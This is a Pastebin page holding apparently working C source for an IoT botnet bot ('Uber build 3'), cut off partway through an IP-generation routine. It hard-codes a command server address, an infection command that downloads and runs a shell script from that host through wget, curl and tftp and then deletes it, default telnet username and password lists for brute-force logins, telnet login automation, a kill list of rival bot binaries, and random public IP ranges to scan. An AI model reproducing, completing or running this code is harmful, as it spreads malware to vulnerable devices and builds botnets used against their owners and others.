Advertisement
AvengeVPS

Uber Botnet Serverside

Feb 27th, 2018
197
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /*
  2. Uber build 3
  3. */
  4. #include <stdlib.h>
  5. #include <stdarg.h>
  6. #include <stdio.h>
  7. #include <sys/socket.h>
  8. #include <sys/types.h>
  9. #include <netinet/in.h>
  10. #include <arpa/inet.h>
  11. #include <netdb.h>
  12. #include <signal.h>
  13. #include <strings.h>
  14. #include <string.h>
  15. #include <sys/utsname.h>
  16. #include <unistd.h>
  17. #include <fcntl.h>
  18. #include <errno.h>
  19. #include <netinet/ip.h>
  20. #include <netinet/udp.h>
  21. #include <netinet/tcp.h>
  22. #include <sys/wait.h>
  23. #include <sys/ioctl.h>
  24. #include <net/if.h>
  25. #define PHI 0x9e3779b9
  26. #define PR_SET_NAME 15
  27. #define SERVER_LIST_SIZE (sizeof(PromServer) / sizeof(unsigned char *))
  28. #define PAD_RIGHT 1
  29. #define PAD_ZERO 2
  30. #define PRINT_BUF_LEN 12
  31. #define CMD_IAC 255
  32. #define CMD_WILL 251
  33. #define CMD_WONT 252
  34. #define CMD_DO 253
  35. #define CMD_DONT 254
  36. #define OPT_SGA 3
  37. #define STD2_SIZE 65
  38. #define BUFFER_SIZE 1024
  39. #define VERSION "Build3"//thanks cheats ~xFyfa
  40. ////////////////////////////////////////////////////
  41. unsigned char *PromServer[] ={"80.211.226.219"}; //
  42. // \server ip/
  43. int Server_Botport = 420; //
  44. // \bot port/
  45. ////////////////////////////////////////////////////
  46. int initConnection();
  47. int getBogos(unsigned char *bogomips);
  48. int getCores();
  49. int getCountry(unsigned char *buf, int bufsize);
  50. void makeRandomStr(unsigned char *buf, int length);
  51. int sockprintf(int sock, char *formatStr, ...);
  52. char *inet_ntoa(struct in_addr in);
  53. int mainCommSock = 0, currentServer = -1, gotIP = 0;
  54. uint32_t *pids;
  55. uint32_t scanPid;
  56. uint64_t numpids = 0;
  57. struct in_addr ourIP;
  58. struct in_addr ourPublicIP;
  59. unsigned char macAddress[6] = {0};
  60. //////////////////////////////////
  61. //REPLACE 0.0.0.0 With your ip ~xFyfa
  62. char *infect = "cd /tmp; wget http://80.211.226.219/cumfort.sh || curl -O http://80.211.226.219/cumfort.sh; chmod 777 cumfort.sh; sh cumfort.sh; busybox tftp 80.211.226.219 -c get cumfort.sh; chmod 777 cumfort.sh; sh cumfort.sh; busybox tftp -r cumfort.sh -g 80.211.226.219; chmod 777 cumfort.sh; sh cumfort.sh; rm -rf cumfort.sh cumfort.sh cumfort.sh;exit\r\n";
  63. //REPLACE 0.0.0.0 With your ip ~xFyfa
  64. //////////////////////////////////
  65. char *usernames[] = {
  66. "telnet\0",
  67. "root\0",
  68. "root"
  69. };
  70. char *passwords[] = {
  71. "telnet\0",
  72. "\0",
  73. "root"
  74. };
  75. char *pusernames[] = {
  76. "admin\0",
  77. "root\0"
  78. };
  79. char *ppasswords[] = {
  80. "admin\0",
  81. "oelinux123\0"
  82. };
  83. char *tmpdirs[] = {"/dev/netslink/", "/tmp/", "/var/", "/dev/", "/var/run/", "/dev/shm/", "/mnt/", "/boot/", "/usr/", "/opt/", (char*)0};
  84. char *advances[] = {":", "ogin", "sername", "assword", (char*)0};
  85. char *fails[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", (char*)0};
  86. char *successes[] = {"busybox", "$", "#", "/ ", (char*)0};
  87. char *advances2[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", "busybox", "$", "#", (char*)0};
  88. int Nranges [] = {110,111,112,113,114,115,116,117,118,119,223,1,103,203,202,122};//My original idea
  89. //int NewRange [] = {1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120};//idea from xFyfa
  90. // thats a wip /
  91. static uint32_t Q[4096], c = 362436;
  92. const char *binarystokill[] = {
  93. "mips",
  94. "mipsel",
  95. "sh4",
  96. "x86",
  97. "i686",
  98. "ppc",
  99. "i586",
  100. "i586",
  101. "jackmy*",
  102. "hackmy*",
  103. "arm*",
  104. "b1",
  105. "b2",
  106. "b3",
  107. "b4",
  108. "b5",
  109. "b6",
  110. "b7",
  111. "b8",
  112. "b9",
  113. "busyboxterrorist",
  114. "DFhxdhdf",
  115. "dvrHelper",
  116. "FDFDHFC",
  117. "FEUB",
  118. "FTUdftui",
  119. "GHfjfgvj",
  120. "jhUOH",
  121. "JIPJIPJj",
  122. "JIPJuipjh",
  123. "kmyx86_64",
  124. "lolmipsel",
  125. "mips",
  126. "mipsel",
  127. "RYrydry",
  128. "tel*",
  129. "TwoFace*",
  130. "UYyuyioy",
  131. "wget",
  132. "x86_64",
  133. "XDzdfxzf",
  134. "xxb*",
  135. "sh",
  136. "1",
  137. "2",
  138. "3",
  139. "4",
  140. "5",
  141. "6",
  142. "7",
  143. "8",
  144. "9",
  145. "10",
  146. "11",
  147. "12",
  148. "13",
  149. "14",
  150. "15",
  151. "16",
  152. "17",
  153. "18",
  154. "19",
  155. "20",
  156. "hackz",
  157. "bin*",
  158. "bins*",
  159. "gtop",
  160. "ftp*",
  161. "tftp*",
  162. "botnet",
  163. "swatnet",
  164. "ballpit",
  165. "fucknet",
  166. "cracknet",
  167. "weednet",
  168. "gaynet",
  169. "queernet",
  170. "ballnet",
  171. "unet",
  172. "yougay",
  173. "sttftp",
  174. "sstftp",
  175. "sbtftp",
  176. "btftp",
  177. "y0u1sg3y",
  178. "bruv*",
  179. "IoT*",
  180. "pl0*"
  181. };
  182. void init_rand(uint32_t x)
  183. {
  184. int i;
  185.  
  186. Q[0] = x;
  187. Q[1] = x + PHI;
  188. Q[2] = x + PHI + PHI;
  189.  
  190. for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  191. }
  192.  
  193. uint32_t rand_cmwc(void)
  194. {
  195. uint64_t t, a = 18782LL;
  196. static uint32_t i = 4095;
  197. uint32_t x, r = 0xfffffffe;
  198. i = (i + 1) & 4095;
  199. t = a * Q[i] + c;
  200. c = (uint32_t)(t >> 32);
  201. x = t + c;
  202. if (x < c) {
  203. x++;
  204. c++;
  205. }
  206. return (Q[i] = r - x);
  207. }
  208.  
  209. void trim(char *str)
  210. {
  211. int i;
  212. int begin = 0;
  213. int end = strlen(str) - 1;
  214.  
  215. while (isspace(str[begin])) begin++;
  216.  
  217. while ((end >= begin) && isspace(str[end])) end--;
  218. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  219.  
  220. str[i - begin] = '\0';
  221. }
  222.  
  223. static void printchar(unsigned char **str, int c)
  224. {
  225. if (str) {
  226. **str = c;
  227. ++(*str);
  228. }
  229. else (void)write(1, &c, 1);
  230. }
  231.  
  232. static int prints(unsigned char **out, const unsigned char *string, int width, int pad)
  233. {
  234. register int pc = 0, padchar = ' ';
  235.  
  236. if (width > 0) {
  237. register int len = 0;
  238. register const unsigned char *ptr;
  239. for (ptr = string; *ptr; ++ptr) ++len;
  240. if (len >= width) width = 0;
  241. else width -= len;
  242. if (pad & PAD_ZERO) padchar = '0';
  243. }
  244. if (!(pad & PAD_RIGHT)) {
  245. for ( ; width > 0; --width) {
  246. printchar (out, padchar);
  247. ++pc;
  248. }
  249. }
  250. for ( ; *string ; ++string) {
  251. printchar (out, *string);
  252. ++pc;
  253. }
  254. for ( ; width > 0; --width) {
  255. printchar (out, padchar);
  256. ++pc;
  257. }
  258.  
  259. return pc;
  260. }
  261.  
  262. static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase)
  263. {
  264. unsigned char print_buf[PRINT_BUF_LEN];
  265. register unsigned char *s;
  266. register int t, neg = 0, pc = 0;
  267. register unsigned int u = i;
  268.  
  269. if (i == 0) {
  270. print_buf[0] = '0';
  271. print_buf[1] = '\0';
  272. return prints (out, print_buf, width, pad);
  273. }
  274.  
  275. if (sg && b == 10 && i < 0) {
  276. neg = 1;
  277. u = -i;
  278. }
  279.  
  280. s = print_buf + PRINT_BUF_LEN-1;
  281. *s = '\0';
  282.  
  283. while (u) {
  284. t = u % b;
  285. if( t >= 10 )
  286. t += letbase - '0' - 10;
  287. *--s = t + '0';
  288. u /= b;
  289. }
  290.  
  291. if (neg) {
  292. if( width && (pad & PAD_ZERO) ) {
  293. printchar (out, '-');
  294. ++pc;
  295. --width;
  296. }
  297. else {
  298. *--s = '-';
  299. }
  300. }
  301.  
  302. return pc + prints (out, s, width, pad);
  303. }
  304.  
  305. static int print(unsigned char **out, const unsigned char *format, va_list args )
  306. {
  307. register int width, pad;
  308. register int pc = 0;
  309. unsigned char scr[2];
  310.  
  311. for (; *format != 0; ++format) {
  312. if (*format == '%') {
  313. ++format;
  314. width = pad = 0;
  315. if (*format == '\0') break;
  316. if (*format == '%') goto out;
  317. if (*format == '-') {
  318. ++format;
  319. pad = PAD_RIGHT;
  320. }
  321. while (*format == '0') {
  322. ++format;
  323. pad |= PAD_ZERO;
  324. }
  325. for ( ; *format >= '0' && *format <= '9'; ++format) {
  326. width *= 10;
  327. width += *format - '0';
  328. }
  329. if( *format == 's' ) {
  330. register char *s = (char *)va_arg( args, int );
  331. pc += prints (out, s?s:"(null)", width, pad);
  332. continue;
  333. }
  334. if( *format == 'd' ) {
  335. pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
  336. continue;
  337. }
  338. if( *format == 'x' ) {
  339. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
  340. continue;
  341. }
  342. if( *format == 'X' ) {
  343. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
  344. continue;
  345. }
  346. if( *format == 'u' ) {
  347. pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
  348. continue;
  349. }
  350. if( *format == 'c' ) {
  351. scr[0] = (unsigned char)va_arg( args, int );
  352. scr[1] = '\0';
  353. pc += prints (out, scr, width, pad);
  354. continue;
  355. }
  356. }
  357. else {
  358. out:
  359. printchar (out, *format);
  360. ++pc;
  361. }
  362. }
  363. if (out) **out = '\0';
  364. va_end( args );
  365. return pc;
  366. }
  367.  
  368. int zprintf(const unsigned char *format, ...)
  369. {
  370. va_list args;
  371. va_start( args, format );
  372. return print( 0, format, args );
  373. }
  374.  
  375. int szprintf(unsigned char *out, const unsigned char *format, ...)
  376. {
  377. va_list args;
  378. va_start( args, format );
  379. return print( &out, format, args );
  380. }
  381.  
  382.  
  383. int sockprintf(int sock, char *formatStr, ...)
  384. {
  385. unsigned char *textBuffer = malloc(2048);
  386. memset(textBuffer, 0, 2048);
  387. char *orig = textBuffer;
  388. va_list args;
  389. va_start(args, formatStr);
  390. print(&textBuffer, formatStr, args);
  391. va_end(args);
  392. orig[strlen(orig)] = '\n';
  393. int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);
  394. free(orig);
  395. return q;
  396. }
  397.  
  398. static int *fdopen_pids;
  399.  
  400. int fdpopen(unsigned char *program, register unsigned char *type)
  401. {
  402. register int iop;
  403. int pdes[2], fds, pid;
  404.  
  405. if (*type != 'r' && *type != 'w' || type[1]) return -1;
  406.  
  407. if (pipe(pdes) < 0) return -1;
  408. if (fdopen_pids == NULL) {
  409. if ((fds = getdtablesize()) <= 0) return -1;
  410. if ((fdopen_pids = (int *)malloc((unsigned int)(fds * sizeof(int)))) == NULL) return -1;
  411. memset((unsigned char *)fdopen_pids, 0, fds * sizeof(int));
  412. }
  413.  
  414. switch (pid = vfork())
  415. {
  416. case -1:
  417. close(pdes[0]);
  418. close(pdes[1]);
  419. return -1;
  420. case 0:
  421. if (*type == 'r') {
  422. if (pdes[1] != 1) {
  423. dup2(pdes[1], 1);
  424. close(pdes[1]);
  425. }
  426. close(pdes[0]);
  427. } else {
  428. if (pdes[0] != 0) {
  429. (void) dup2(pdes[0], 0);
  430. (void) close(pdes[0]);
  431. }
  432. (void) close(pdes[1]);
  433. }
  434. execl("/bin/sh", "sh", "-c", program, NULL);
  435. _exit(127);
  436. }
  437. if (*type == 'r') {
  438. iop = pdes[0];
  439. (void) close(pdes[1]);
  440. } else {
  441. iop = pdes[1];
  442. (void) close(pdes[0]);
  443. }
  444. fdopen_pids[iop] = pid;
  445. return (iop);
  446. }
  447.  
  448. int fdpclose(int iop)
  449. {
  450. register int fdes;
  451. sigset_t omask, nmask;
  452. int pstat;
  453. register int pid;
  454.  
  455. if (fdopen_pids == NULL || fdopen_pids[iop] == 0) return (-1);
  456. (void) close(iop);
  457. sigemptyset(&nmask);
  458. sigaddset(&nmask, SIGINT);
  459. sigaddset(&nmask, SIGQUIT);
  460. sigaddset(&nmask, SIGHUP);
  461. (void) sigprocmask(SIG_BLOCK, &nmask, &omask);
  462. do {
  463. pid = waitpid(fdopen_pids[iop], (int *) &pstat, 0);
  464. } while (pid == -1 && errno == EINTR);
  465. (void) sigprocmask(SIG_SETMASK, &omask, NULL);
  466. fdopen_pids[fdes] = 0;
  467. return (pid == -1 ? -1 : WEXITSTATUS(pstat));
  468. }
  469.  
  470. unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd)
  471. {
  472. int got = 1, total = 0;
  473. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  474. return got == 0 ? NULL : buffer;
  475. }
  476.  
  477. static const long hextable[] = {
  478. [0 ... 255] = -1,
  479. ['0'] = 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,
  480. ['A'] = 10, 11, 12, 13, 14, 15,
  481. ['a'] = 10, 11, 12, 13, 14, 15
  482. };
  483.  
  484. long parseHex(unsigned char *hex)
  485. {
  486. long ret = 0;
  487. while (*hex && ret >= 0) ret = (ret << 4) | hextable[*hex++];
  488. return ret;
  489. }
  490.  
  491. int wildString(const unsigned char* pattern, const unsigned char* string) {
  492. switch(*pattern)
  493. {
  494. case '\0': return *string;
  495. case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1));
  496. case '?': return !(*string && !wildString(pattern+1, string+1));
  497. default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1));
  498. }
  499. }
  500.  
  501. int getHost(unsigned char *toGet, struct in_addr *i)
  502. {
  503. struct hostent *h;
  504. if((i->s_addr = inet_addr(toGet)) == -1) return 1;
  505. return 0;
  506. }
  507.  
  508. void uppercase(unsigned char *str)
  509. {
  510. while(*str) { *str = toupper(*str); str++; }
  511. }
  512.  
  513. int getBogos(unsigned char *bogomips)
  514. {
  515. int cmdline = open("/proc/cpuinfo", O_RDONLY);
  516. char linebuf[4096];
  517. while(fdgets(linebuf, 4096, cmdline) != NULL)
  518. {
  519. uppercase(linebuf);
  520. if(strstr(linebuf, "BOGOMIPS") == linebuf)
  521. {
  522. unsigned char *pos = linebuf + 8;
  523. while(*pos == ' ' || *pos == '\t' || *pos == ':') pos++;
  524. while(pos[strlen(pos)-1] == '\r' || pos[strlen(pos)-1] == '\n') pos[strlen(pos)-1]=0;
  525. if(strchr(pos, '.') != NULL) *strchr(pos, '.') = 0x00;
  526. strcpy(bogomips, pos);
  527. close(cmdline);
  528. return 0;
  529. }
  530. memset(linebuf, 0, 4096);
  531. }
  532. close(cmdline);
  533. return 1;
  534. }
  535.  
  536. int getCores()
  537. {
  538. int totalcores = 0;
  539. int cmdline = open("/proc/cpuinfo", O_RDONLY);
  540. char linebuf[4096];
  541. while(fdgets(linebuf, 4096, cmdline) != NULL)
  542. {
  543. uppercase(linebuf);
  544. if(strstr(linebuf, "BOGOMIPS") == linebuf) totalcores++;
  545. memset(linebuf, 0, 4096);
  546. }
  547. close(cmdline);
  548. return totalcores;
  549.  
  550. }
  551.  
  552. void makeRandomStr(unsigned char *buf, int length)
  553. {
  554. int i = 0;
  555. for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
  556. }
  557.  
  558. int recvLine(int socket, unsigned char *buf, int bufsize)
  559. {
  560. memset(buf, 0, bufsize);
  561.  
  562. fd_set myset;
  563. struct timeval tv;
  564. tv.tv_sec = 30;
  565. tv.tv_usec = 0;
  566. FD_ZERO(&myset);
  567. FD_SET(socket, &myset);
  568. int selectRtn, retryCount;
  569. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  570. while(retryCount < 10)
  571. {
  572. sockprintf(mainCommSock, "PING");
  573.  
  574. tv.tv_sec = 30;
  575. tv.tv_usec = 0;
  576. FD_ZERO(&myset);
  577. FD_SET(socket, &myset);
  578. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  579. retryCount++;
  580. continue;
  581. }
  582.  
  583. break;
  584. }
  585. }
  586.  
  587. unsigned char tmpchr;
  588. unsigned char *cp;
  589. int count = 0;
  590.  
  591. cp = buf;
  592. while(bufsize-- > 1)
  593. {
  594. if(recv(mainCommSock, &tmpchr, 1, 0) != 1) {
  595. *cp = 0x00;
  596. return -1;
  597. }
  598. *cp++ = tmpchr;
  599. if(tmpchr == '\n') break;
  600. count++;
  601. }
  602. *cp = 0x00;
  603.  
  604. // zprintf("recv: %s\n", cp);
  605.  
  606. return count;
  607. }
  608.  
  609. struct telstate_t
  610. {
  611. int fd;
  612. unsigned int ip;
  613. unsigned char state;
  614. unsigned char complete;
  615. unsigned char usernameInd;
  616. unsigned char passwordInd;
  617. unsigned char tempDirInd;
  618. unsigned int totalTimeout;
  619. unsigned short bufUsed;
  620. char *sockbuf;
  621. };
  622. const char* get_telstate_host(struct telstate_t* telstate)
  623. {
  624. struct in_addr in_addr_ip;
  625. in_addr_ip.s_addr = telstate->ip;
  626. return inet_ntoa(in_addr_ip);
  627. }
  628.  
  629. int read_until_response(int fd, int timeout_usec, char* buffer, int buf_size, char** strings)
  630. {
  631. int num_bytes, i;
  632. memset(buffer, 0, buf_size);
  633. num_bytes = read_with_timeout(fd, timeout_usec, buffer, buf_size);
  634.  
  635. if(buffer[0] == 0xFF)
  636. {
  637. negotiate(fd, buffer, 3);
  638. }
  639.  
  640. if(contains_string(buffer, strings))
  641. {
  642. return 1;
  643. }
  644.  
  645. return 0;
  646. }
  647. int read_with_timeout(int fd, int timeout_usec, char* buffer, int buf_size)
  648. {
  649. fd_set read_set;
  650. struct timeval tv;
  651. tv.tv_sec = 0;
  652. tv.tv_usec = timeout_usec;
  653.  
  654. FD_ZERO(&read_set);
  655. FD_SET(fd, &read_set);
  656.  
  657. if (select(fd+1, &read_set, NULL, NULL, &tv) < 1)
  658. return 0;
  659.  
  660. return recv(fd, buffer, buf_size, 0);
  661. }
  662. void advance_state(struct telstate_t* telstate, int new_state)
  663. {
  664. if(new_state == 0)
  665. {
  666. close(telstate->fd);
  667. }
  668.  
  669. telstate->totalTimeout = 0;
  670. telstate->state = new_state;
  671. memset((telstate->sockbuf), 0, BUFFER_SIZE);
  672. }
  673.  
  674. void reset_telstate(struct telstate_t* telstate)
  675. {
  676. advance_state(telstate, 0);
  677. telstate->complete = 1;
  678. }
  679. int contains_success(char* buffer)
  680. {
  681. return contains_string(buffer, successes);
  682. }
  683. int contains_fail(char* buffer)
  684. {
  685. return contains_string(buffer, fails);
  686. }
  687. int contains_response(char* buffer)
  688. {
  689. return contains_success(buffer) || contains_fail(buffer);
  690. }
  691. int contains_string(char* buffer, char** strings)
  692. {
  693. int num_strings = 0, i = 0;
  694.  
  695. for(num_strings = 0; strings[++num_strings] != 0; );
  696.  
  697. for(i = 0; i < num_strings; i++)
  698. {
  699. if(strcasestr(buffer, strings[i]))
  700. {
  701. return 1;
  702. }
  703. }
  704.  
  705. return 0;
  706. }
  707.  
  708. int connectTimeout(int fd, char *host, int port, int timeout)
  709. {
  710. struct sockaddr_in dest_addr;
  711. fd_set myset;
  712. struct timeval tv;
  713. socklen_t lon;
  714.  
  715. int valopt;
  716. long arg = fcntl(fd, F_GETFL, NULL);
  717. arg |= O_NONBLOCK;
  718. fcntl(fd, F_SETFL, arg);
  719.  
  720. dest_addr.sin_family = AF_INET;
  721. dest_addr.sin_port = htons(port);
  722. if(getHost(host, &dest_addr.sin_addr)) return 0;
  723. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  724. int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  725.  
  726. if (res < 0) {
  727. if (errno == EINPROGRESS) {
  728. tv.tv_sec = timeout;
  729. tv.tv_usec = 0;
  730. FD_ZERO(&myset);
  731. FD_SET(fd, &myset);
  732. if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
  733. lon = sizeof(int);
  734. getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  735. if (valopt) return 0;
  736. }
  737. else return 0;
  738. }
  739. else return 0;
  740. }
  741.  
  742. arg = fcntl(fd, F_GETFL, NULL);
  743. arg &= (~O_NONBLOCK);
  744. fcntl(fd, F_SETFL, arg);
  745.  
  746. return 1;
  747. }
  748.  
  749. int listFork()
  750. {
  751. uint32_t parent, *newpids, i;
  752. parent = fork();
  753. if (parent <= 0) return parent;
  754. numpids++;
  755. newpids = (uint32_t*)malloc((numpids + 1) * 4);
  756. for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
  757. newpids[numpids - 1] = parent;
  758. free(pids);
  759. pids = newpids;
  760. return parent;
  761. }
  762.  
  763. int negotiate(int sock, unsigned char *buf, int len)
  764. {
  765. unsigned char c;
  766.  
  767. switch (buf[1]) {
  768. case CMD_IAC: /*dropped an extra 0xFF wh00ps*/ return 0;
  769. case CMD_WILL:
  770. case CMD_WONT:
  771. case CMD_DO:
  772. case CMD_DONT:
  773. c = CMD_IAC;
  774. send(sock, &c, 1, MSG_NOSIGNAL);
  775. if (CMD_WONT == buf[1]) c = CMD_DONT;
  776. else if (CMD_DONT == buf[1]) c = CMD_WONT;
  777. else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
  778. else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
  779. send(sock, &c, 1, MSG_NOSIGNAL);
  780. send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
  781. break;
  782.  
  783. default:
  784. break;
  785. }
  786.  
  787. return 0;
  788. }
  789.  
  790. int matchPrompt(char *bufStr)
  791. {
  792. char *prompts = ":>%$#\0";
  793.  
  794. int bufLen = strlen(bufStr);
  795. int i, q = 0;
  796. for(i = 0; i < strlen(prompts); i++)
  797. {
  798. while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
  799. if(*(bufStr + bufLen - q) == prompts[i]) return 1;
  800. }
  801.  
  802. return 0;
  803. }
  804.  
  805. int readUntil(int fd, char *toFind, int matchLePrompt, int timeout, int timeoutusec, char *buffer, int bufSize, int initialIndex)
  806. {
  807. int bufferUsed = initialIndex, got = 0, found = 0;
  808. fd_set myset;
  809. struct timeval tv;
  810. tv.tv_sec = timeout;
  811. tv.tv_usec = timeoutusec;
  812. unsigned char *initialRead = NULL;
  813.  
  814. while(bufferUsed + 2 < bufSize && (tv.tv_sec > 0 || tv.tv_usec > 0))
  815. {
  816. FD_ZERO(&myset);
  817. FD_SET(fd, &myset);
  818. if (select(fd+1, &myset, NULL, NULL, &tv) < 1) break;
  819. initialRead = buffer + bufferUsed;
  820. got = recv(fd, initialRead, 1, 0);
  821. if(got == -1 || got == 0) return 0;
  822. bufferUsed += got;
  823. if(*initialRead == 0xFF)
  824. {
  825. got = recv(fd, initialRead + 1, 2, 0);
  826. if(got == -1 || got == 0) return 0;
  827. bufferUsed += got;
  828. if(!negotiate(fd, initialRead, 3)) return 0;
  829. } else {
  830. if(strstr(buffer, toFind) != NULL || (matchLePrompt && matchPrompt(buffer))) { found = 1; break; }
  831. }
  832. }
  833.  
  834. if(found) return 1;
  835. return 0;
  836. }
  837.  
  838.  
  839.  
  840. static uint8_t ipState[5] = {0};
  841. in_addr_t GetRandomPublicIP()//IP GEN credz to cheats :) new ranges by xFyfa
  842. {
  843. ipState[1] = 0;
  844. ipState[2] = 0;
  845. ipState[3] = 0;
  846. ipState[4] = 0;
  847. ipState[1] = rand() % 215;
  848. ipState[2] = rand() % 225;
  849. ipState[3] = rand() % 235;
  850. ipState[4] = rand() % 245;
  851. int randnum = rand() % 115;
  852. char ip[16];
  853. if(randnum == 0)
  854. {
  855. szprintf(ip, "43.252.%d.%d", ipState[3], ipState[4]);
  856. }
  857. if(randnum == 1)
  858. {
  859. szprintf(ip, "43.239.%d.%d", ipState[3], ipState[4]);
  860. }
  861. if(randnum == 2)
  862. {
  863. szprintf(ip, "85.3.%d.%d", ipState[3], ipState[4]);
  864. }
  865. if(randnum == 3)
  866. {
  867. szprintf(ip, "37.158.%d.%d", ipState[3], ipState[4]);
  868. }
  869. if(randnum == 4)
  870. {
  871. szprintf(ip, "95.9.%d.%d", ipState[3], ipState[4]);
  872. }
  873. if(randnum == 5)
  874. {
  875. szprintf(ip, "41.252.%d.%d", ipState[3], ipState[4]);
  876. }
  877. if(randnum == 6)
  878. {
  879. szprintf(ip, "58.71.%d.%d", ipState[3], ipState[4]);
  880. }
  881. if(randnum == 7)
  882. {
  883. szprintf(ip, "104.55.%d.%d", ipState[3], ipState[4]);
  884. }
  885. if(randnum == 8)
  886. {
  887. szprintf(ip, "78.186.%d.%d", ipState[3], ipState[4]);
  888. }
  889. if(randnum == 9)
  890. {
  891. szprintf(ip, "78.189.%d.%d", ipState[3], ipState[4]);
  892. }
  893. if(randnum == 10)
  894. {
  895. szprintf(ip, "77.209.%d.%d", ipState[3], ipState[4]);
  896. }
  897. if(randnum == 11)
  898. {
  899. szprintf(ip, "88.5.%d.%d", ipState[3], ipState[4]);
  900. }
  901. if(randnum == 12)
  902. {
  903. szprintf(ip, "43.239.%d.%d", ipState[3], ipState[4]);
  904. }
  905. if(randnum == 13)
  906. {
  907. szprintf(ip, "103.20.%d.%d", ipState[3], ipState[4]);
  908. }
  909. if(randnum == 14)
  910. {
  911. szprintf(ip, "103.47.%d.%d", ipState[3], ipState[4]);
  912. }
  913. if(randnum == 15)
  914. {
  915. szprintf(ip, "103.57.%d.%d", ipState[3], ipState[4]);
  916. }
  917. if(randnum == 16)
  918. {
  919. szprintf(ip, "45.117.%d.%d", ipState[3], ipState[4]);
  920. }
  921. if(randnum == 17)
  922. {
  923. szprintf(ip, "101.51.%d.%d", ipState[3], ipState[4]);
  924. }
  925. if(randnum == 18)
  926. {
  927. szprintf(ip, "137.59.%d.%d", ipState[3], ipState[4]);
  928. }
  929. if(randnum == 19)
  930. {
  931. szprintf(ip, "1.56.%d.%d", ipState[3], ipState[4]);
  932. }
  933. if(randnum == 20)
  934. {
  935. szprintf(ip, "1.188.%d.%d", ipState[3], ipState[4]);
  936. }
  937. if(randnum == 21)
  938. {
  939. szprintf(ip, "14.204.%d.%d", ipState[3], ipState[4]);
  940. }
  941. if(randnum == 22)
  942. {
  943. szprintf(ip, "27.0.%d.%d", ipState[3], ipState[4]);
  944. }
  945. if(randnum == 23)
  946. {
  947. szprintf(ip, "27.8.%d.%d", ipState[3], ipState[4]);
  948. }
  949. if(randnum == 24)
  950. {
  951. szprintf(ip, "27.50.%d.%d", ipState[3], ipState[4]);
  952. }
  953. if(randnum == 25)
  954. {
  955. szprintf(ip, "27.54.%d.%d", ipState[3], ipState[4]);
  956. }
  957. if(randnum == 26)
  958. {
  959. szprintf(ip, "27.98.%d.%d", ipState[3], ipState[4]);
  960. }
  961. if(randnum == 27)
  962. {
  963. szprintf(ip, "27.112.%d.%d", ipState[3], ipState[4]);
  964. }
  965. if(randnum == 28)
  966. {
  967. szprintf(ip, "27.192.%d.%d", ipState[3], ipState[4]);
  968. }
  969. if(randnum == 29)
  970. {
  971. szprintf(ip, "36.32.%d.%d", ipState[3], ipState[4]);
  972. }
  973. if(randnum == 30)
  974. {
  975. szprintf(ip, "36.248.%d.%d", ipState[3], ipState[4]);
  976. }
  977. if(randnum == 31)
  978. {
  979. szprintf(ip, "39.64.%d.%d", ipState[3], ipState[4]);
  980. }
  981. if(randnum == 32)
  982. {
  983. szprintf(ip, "42.4.%d.%d", ipState[3], ipState[4]);
  984. }
  985. if(randnum == 33)
  986. {
  987. szprintf(ip, "42.48.%d.%d", ipState[3], ipState[4]);
  988. }
  989. if(randnum == 34)
  990. {
  991. szprintf(ip, "42.52.%d.%d", ipState[3], ipState[4]);
  992. }
  993. if(randnum == 35)
  994. {
  995. szprintf(ip, "42.56.%d.%d", ipState[3], ipState[4]);
  996. }
  997. if(randnum == 36)
  998. {
  999. szprintf(ip, "42.63.%d.%d", ipState[3], ipState[4]);
  1000. }
  1001. if(randnum == 37)
  1002. {
  1003. szprintf(ip, "42.84.%d.%d", ipState[3], ipState[4]);
  1004. }
  1005. if(randnum == 38)
  1006. {
  1007. szprintf(ip, "42.176.%d.%d", ipState[3], ipState[4]);
  1008. }
  1009. if(randnum == 39)
  1010. {
  1011. szprintf(ip, "42.224.%d.%d", ipState[3], ipState[4]);
  1012. }
  1013. if(randnum == 40)
  1014. {
  1015. szprintf(ip, "42.176.%d.%d", ipState[3], ipState[4]);
  1016. }
  1017. if(randnum == 41)
  1018. {
  1019. szprintf(ip, "60.0.%d.%d", ipState[3], ipState[4]);
  1020. }
  1021. if(randnum == 42)
  1022. {
